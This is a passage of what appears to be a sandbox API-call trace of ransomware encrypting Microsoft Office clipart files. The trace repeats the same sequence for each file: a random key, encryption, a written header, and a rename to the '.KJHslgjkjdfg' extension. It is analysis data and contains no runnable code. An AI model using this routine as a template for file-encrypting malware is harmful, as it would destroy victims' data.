office\\clipart\\pub60cor\\wb01237_.gif.kjhslgjkjdfg")) returned 1 [0250.092] CloseHandle (hObject=0x130) returned 1 [0250.092] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe368b800, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe368b800, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x167, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01238_.GIF", cAlternateFileName="")) returned 1 [0250.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01238_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01238_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0250.093] GetProcessHeap () returned 0x2ef0000 [0250.093] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0250.094] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0250.094] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0250.094] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x9, lpOverlapped=0x0) returned 1 [0250.095] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0250.095] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0250.095] GetProcessHeap () returned 0x2ef0000 [0250.095] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0250.095] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0250.096] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0250.096] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0250.096] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0250.096] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0250.096] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0250.096] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0250.096] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0250.096] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0250.096] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0250.096] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.096] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x167, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x167, lpOverlapped=0x0) returned 1 [0250.097] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x170, dwBufLen=0x170 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x170) returned 1 [0250.097] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.097] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x170, lpOverlapped=0x0) returned 1 [0250.097] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0250.097] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x244, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.097] SetEndOfFile (hFile=0x130) returned 1 [0250.099] GetProcessHeap () returned 0x2ef0000 [0250.100] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0250.100] GetProcessHeap () returned 0x2ef0000 [0250.100] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0250.100] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01238_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01238_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01238_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01238_.gif.kjhslgjkjdfg")) returned 1 [0250.102] CloseHandle (hObject=0x130) returned 1 [0250.102] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbfa57200, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbfa57200, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x19a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01239_.GIF", cAlternateFileName="")) returned 1 [0250.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01239_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01239_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0250.103] GetProcessHeap () returned 0x2ef0000 [0250.103] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0250.103] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0250.103] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0250.104] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0250.105] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0250.105] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0250.105] GetProcessHeap () returned 0x2ef0000 [0250.105] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0250.105] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0250.105] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0250.106] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0250.106] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0250.106] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0250.106] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0250.106] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0250.106] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0250.106] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0250.106] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0250.106] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.107] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x19a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x19a, lpOverlapped=0x0) returned 1 [0250.107] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1a0, dwBufLen=0x1a0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1a0) returned 1 [0250.107] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.107] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1a0, lpOverlapped=0x0) returned 1 [0250.107] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0250.107] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x274, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.107] SetEndOfFile (hFile=0x130) returned 1 [0250.110] GetProcessHeap () returned 0x2ef0000 [0250.110] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0250.110] GetProcessHeap () returned 0x2ef0000 [0250.110] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0250.110] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01239_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01239_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01239_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01239_.gif.kjhslgjkjdfg")) returned 1 [0250.113] CloseHandle (hObject=0x130) returned 1 [0250.113] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1d80d00, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa1d80d00, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x14d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01240_.GIF", cAlternateFileName="")) returned 1 [0250.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01240_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01240_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0250.115] GetProcessHeap () returned 0x2ef0000 [0250.115] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0250.115] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0250.115] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0250.115] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x3, lpOverlapped=0x0) returned 1 [0250.119] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0250.119] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0250.119] GetProcessHeap () returned 0x2ef0000 [0250.119] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0250.119] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0250.119] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0250.119] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0250.120] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0250.120] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0250.120] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0250.120] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0250.120] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0250.120] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0250.120] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0250.120] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.120] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x14d, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x14d, lpOverlapped=0x0) returned 1 [0250.120] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x150, dwBufLen=0x150 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x150) returned 1 [0250.120] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.121] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x150, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x150, lpOverlapped=0x0) returned 1 [0250.121] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0250.121] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.121] SetEndOfFile (hFile=0x130) returned 1 [0250.123] GetProcessHeap () returned 0x2ef0000 [0250.123] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0250.123] GetProcessHeap () returned 0x2ef0000 [0250.124] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0250.124] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01240_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01240_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01240_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01240_.gif.kjhslgjkjdfg")) returned 1 [0250.125] CloseHandle (hObject=0x130) returned 1 [0250.125] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x866d0200, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x866d0200, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01241_.GIF", cAlternateFileName="")) returned 1 [0250.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01241_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01241_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0250.127] GetProcessHeap () returned 0x2ef0000 [0250.127] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0250.127] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0250.127] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0250.127] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0250.128] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0250.128] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0250.128] GetProcessHeap () returned 0x2ef0000 [0250.128] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0250.129] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0250.129] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0250.129] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0250.129] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0250.129] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0250.129] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0250.129] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0250.129] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0250.129] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0250.129] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0250.129] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.129] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x182, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x182, lpOverlapped=0x0) returned 1 [0250.129] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x190, dwBufLen=0x190 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x190) returned 1 [0250.129] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.129] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x190, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x190, lpOverlapped=0x0) returned 1 [0250.130] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0250.130] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x264, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.130] SetEndOfFile (hFile=0x130) returned 1 [0250.132] GetProcessHeap () returned 0x2ef0000 [0250.132] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0250.132] GetProcessHeap () returned 0x2ef0000 [0250.132] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0250.132] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01241_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01241_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01241_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01241_.gif.kjhslgjkjdfg")) returned 1 [0250.134] CloseHandle (hObject=0x130) returned 1 [0250.134] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e14c700, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7e14c700, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x158, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01242_.GIF", cAlternateFileName="")) returned 1 [0250.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01242_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01242_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0250.136] 